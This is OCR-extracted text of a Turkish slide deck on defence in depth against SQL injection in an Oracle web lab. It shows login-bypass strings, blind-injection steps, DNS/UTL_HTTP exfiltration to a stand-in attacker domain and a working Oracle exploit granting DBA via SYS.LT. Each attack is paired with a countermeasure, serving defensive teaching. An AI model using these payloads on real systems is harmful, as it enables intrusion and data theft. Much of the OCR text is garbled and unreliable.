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 Giris - Katmanli guvenligin tanimi

 Test ortami tanitimi
« SQL Enjeksiyonu hakkinda bilgilendirme
o Saldirilar ve onlemler

 Genel onlemler



« Katmanli guvenlik (Defence in depth, elastic

defence)
— Amerikan savunma bakanligi
— Pespese guvenlik mekanizma

— Saldiryr engeleme yerine etki
zayIflatma stratejisi

Kaynakli
arinin uygulanmasi

erini azaltma ya da

— Ana fikir: Bir savunma mekanizmasi devre disi
kaldiginda sistemi savunmasiz birakmama

— Yontem: Her katman ile saldirganin hareket

alanini daha da kisitlama

— Ornekler: Fiziksel glivenlik, glivenlik duvari, saldiri

tespit sistemi, sifreleme



® Test Ortaminin Tanitimi

Saldirgan
Windows XP Web sunucu

Redhat Linux Redhat Linux
BIND DNS Apache + PHP
...')Giri;. Ekrani - Mozilla Firelg W OraCI e 1OG R2

0Q
Kullamar Sifre I:l Ig ag
Dil Segimi
= kullanicisi
— wwwkurban.com @ M & @




® Kurban Uygulama
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"% Giris Ekram - Mozilla Firefox
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YETKILI GIRIS EKRANI
Kullanict Ismi |Dlmayan_kullanici |
Kullanicl Sifre [t w] |
oi Sz

Girig

Girdiginiz sifre veya kullanici adi yanhs

Done

vy karban, com ﬁ| Open Prowler | (v} A
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M SQL Enjeksiyonu Bulma

° ! Veya n

* + (%2b)

o« — #, /7

* %00, %09

 waitfor delay, dobms_lock ...
* Xp_cmdshell, utl_http, ...



SQL Enjeksiyonu Denetimi - 1

®
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Enter SQL, FL/SQL and SQLFIus statements.
select ™ from users where usermame="b' or '1'="1" -

-:-E}{EEUIE) -I-Lnad Script) ':.SEI"U"E Stript) -Z'Cam:el)

EMPLOYEE_ID USERNAME PASSWORD
198 donald SIETIEETE24CC30E33733A0FFO6E40F 1B39425EA
199 douglas ACTBESETO0COEEBOEFI8CHACEIDAZIZISEE1833C63
200 jeniffer H0324EAZAFD0ZBE7COS07TAMESSZ26983A0CES9933
201 bedirhan O710C1D4ATTF34ACEBABYBDTBEBIASE26B85859780

LOCK
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M SQL Enjeksiyonu Denetimi - 2

UEKAE

Enter 5L, PLSAL and SCLTPlus statements.

select ® from users where username="0' or "1'="1" order by 1 |

\ E}{EEIJT.E) | Load Script) | Save Sl:ript) | Cancel)

EMPLOYEE_ID USERNAME PASSWORD LOCK
=8 1938 donald DIETMEETE24CC39E33733A0FFOGEA0F 1B39425EA 0
199 douglas ACTBESHTY0COSBOER28CHACEBIDAZ2Z95EE1833C63 0
200 jeniffer D0324EAZAFQ0ZEETCOS07ATESS 20958 A6CESRI33 0
201 bedirhan O710C1D4ATTF34ACERABIEDTBESASGZOBE58978D 1




M SQL Enjeksiyonu Denetimi - 3
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Enter 0L, PLMASCGL and SQAL*Plus statements.

select * from users where usermname="b' or "1'="1" order bx -

(Execute ) ( Load Script ) | Sawe Script ) ( Cancel )

EMPLOYEE_ID USERNAME PASSWORD LOCK
=i 201 bedirhan 07 10C1DAA T TRI4AACEBAESESD TEBYALE26B85597 8D 1
198 donald SIETMEBTB24CCI9E33733A0FFOEE40F1E39425EA 0

199 douglas ACTBESHTI0COSEOEF38CEACEIDAIZISEE1833C63 0

200 jeniffer S0324EAZ24FO02BEVCOS0741ESS26988ABCES9933 0




1. D6ngii: Farkh Hata Mesaji Uretme
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"B Giris Ekram - Mozilla Firefox

=10l.x|
File Edit “iew History Bookmarks Tools Help
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YETKILI GIRIS EKRANI
Kullarict Ismi |p' or 1=1 arder by 2 -- |
Kullanic Sifre |** | |
01 S5
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Hesabimz kilitlenmistir liitfen +90 432 11 24 23 numarasini arayiniz

Daone

v, kurban, com ﬁl Open Prowler | (] 4
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1. Dongu:Kor SQL Enjeksiyonu Teori — BST 1
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1. Dongu:Kor SQL Enjeksiyonu Pratik - Soru/Cevap
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Birinci ascii karakter 65'den kaglik ma?

Hayir,

(B

Veritabani Sunucu

Evet Uygulama Sunucu

Birinci ascii karakter 96'dan kuaguk mi?

Saldirgan

Birinci ascii karakter 80'den kiguk mu?
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1. Dongu: Duzeltme - Hata Mesajlarini Genellestirme
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"% Girig Ekram - Mozilla Firefox

=10l %]
File Edit Wiew History Bookmarks Tools Help

¢ - :b) - @ ka/ /U} (\,;—-;J 'be @ ||:| hikkps : f v, karban, com{login. php
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YETKILI GIRIS EKRANI
kullariz Ismi |p' ar 1=1 arder by 2 -- |
Kullanici Sifre |** #| |
0il Segimi

Girig

Girdiginiz sifre veya kullarmci adi yanhs

Daone

i, karban, com ﬁl Cpen Prowler | o 4
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2. Dongu: Kanal Disi SQL Enjeksiyonu

« UTL HTTP paketi ve TCP

Web Sunucu

Nﬂtwurk Rl

Saldirgan

Veritabani Sunucu

-/

Uygulama Sunucu




2. Dongu: Duzeltme - Giden TCP Trafigini Kapama

* Veritabani Sunucu TCP trafiginin blokesi

Web Sunucu
Veritabani Sunucu

-/

Uygulama Sunucu

Nﬂtwu.rk Rl

Saldirgan
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—Hangi teknik kullaniimali”?

—UDP paketlerini kullanabilir miyiz??

—DNS sorgularini nasil yapabiliriz?



® Oracle Veritabani

* Bircok ozelligi olan buyuk bir yazilim.

* Varsayilan kurulumla ¢ok sayida proseduir,
fonksiyon ve paket iceriyor.

— Oracle 9i: 10700 prosedur, 760 paket
— Oracle 10G: 16500 prosedur, 1300 paket

« Standart kullanicilar (PUBLIC)

— Oracle 9i: 5700 prosedur, 430 paket

— Oracle 10G: 8900 prosedur, 730 paket
« PUBLIC haklarini kullanabilir miyiz?

— UTL_HTTP
—HTTPURITYPE



Saldirgan gecerli bir alan adinin DNS servisini
veren bir sunucu calistirir.

Sunucuda DNS sorgu kayitlari tutulur.

Uygulamadaki aciklik kullanilarak veri iceren
diziler hazirlanir. Sonuna saldirganin alan ad!
eklenerek bir URI olusturulur. Ornek:

— HR.4C6D73C3ES8BOFODA.OPEN.saldirgan.com

UTL HTTP paketi kullanilarak URI'lara HTTP
baglantisi yapilmaya calisilir.

Bu islem basarisiz olsa bile DNS sorgulari
gerceklestirilir.

Elde edilen kayitlar ayristirilir.



» Onlem: UTL_HTTP paketini calistirma

hakkl PUBLIC kullanicisindan alinir.
— revoke execute on UTL HTTP from PUBLIC

2. saldiri teknigi: Ayni saldiri
HTTPURITYPE kullanilarak tekrarlanir.

e Onlem: HTTPURITYPE paketini calistirma
hakki PUBLIC kullanicisindan alinir.

— revoke execute on HTTPURITYPE from
PUBLIC

 Digerleri: UTL_TCP, UTL_SMTP




® Yerel Alan Agindan Saldirilar

* Veritabani direk baglanti olmadan

— SQL Enjeksiyonu
« SQL komutunun gonderilmesi

 Tampon tasmalarinin kullaniimasi

o Ciktilarin UTL_HTTP/UTL_TCP gibi standart
paketlerle yonlendiriimesi

» Veritabani baglanti imkani varsa

— Kurulumla gelen ya da kullanicilarin tanimladigi
prosedurlere SQL Enjeksiyonu

— Kurulumla gelen ya da kullanicilarin tanimladigi
prosedurlerdeki tampon tasmasi acikliklari

— Ciktilar saldirganin ekranina duser.
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« Saldirgan, baglandigi kullanici haklariyla
yetki yukseltmeye imkan veren bir
fonksiyon olusturur.

* Bu fonksiyonu SQL enjeksiyonu bulunan
diger bir fonksiyona parametre olarak
gonderir.

 Yetkili kullanici haklari ile fonksiyonu
calistirabilmek icin AUTHID
CURRENT USER ozelligi olusturulmalidir.



* Enjekte edilen fonksiyon normal sartlarda
aciklik bulunan SQL ifadesi ile ayni islem
ortaminda calisir.

* Fonksiyonu bagimsiz hale getirmek i¢in
PRAGMA

AUTONOMOUS TRANSACTION direktifi
kullaniimalidir.

 Bagimsiz islem COMMIT ile onaylanmazsa
hata alinir. (ORA-06519)



CREATE OR REPLACE FUNCTION EXPLOIT1 RETURN
NUMBER

AUTHID CURRENT USER AS

PRAGMA AUTONOMOUS TRANSACTION:

BEGIN

EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT'; COMMIT;
RETURN(0);

END;

BEGIN
SYS.LT.FINDRICSET(."||[SCOTT.EXPLOIT1]||"™)--",'x");
END;
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« Onlem: SYS.LT paketini calistirma hakki

PUBLIC kullanicisindan alinir.
— revoke execute on SYS.LT from PUBLIC

« 2. saldiri teknigi: Benzer yontem
SYS.DBMS EXPORT_EXTENSION
paketinde uygulanir.

« Onlem: SYS.DBMS EXPORT EXTENSION
paketini calistirma hakki PUBLIC
kullanicisindan alinir.

— revoke execute on

SYS.DBMS_ EXPORT_EXTENSION from
PUBLIC




. Genel Onlemler

* Web uygulamalarina periyodik penetrasyon
testleri uygulanmalidir.

 Veritabanlari sadece web servislerinin
erisebildigi ag segmentinde yer almalidir.

» Oracle tarafindan yayinlanan CPU'lar (Critical
Patch Update) takip edilmeli ve kurulmalidir.

* Veritabani kullanicilarina parola politikasi
uygulanmali, zayif ve varsayilan sifreler
degistiriimelidir.

» Kullanicilara ve PUBLIC'e atanan rol ve haklar
kontrol edilmelidir.



® Referanslar

o http://www.milwOrm.com

http://www.reddatabasesecurity.com

http://www.bilgiguvenligi.gov.tr
 http://www.webguvenligi.org
 http://www.owasp.org

 http://www.oracle.com

* http://www.blackhat.com

Google: filetype:ppt Advanced SQL Injection
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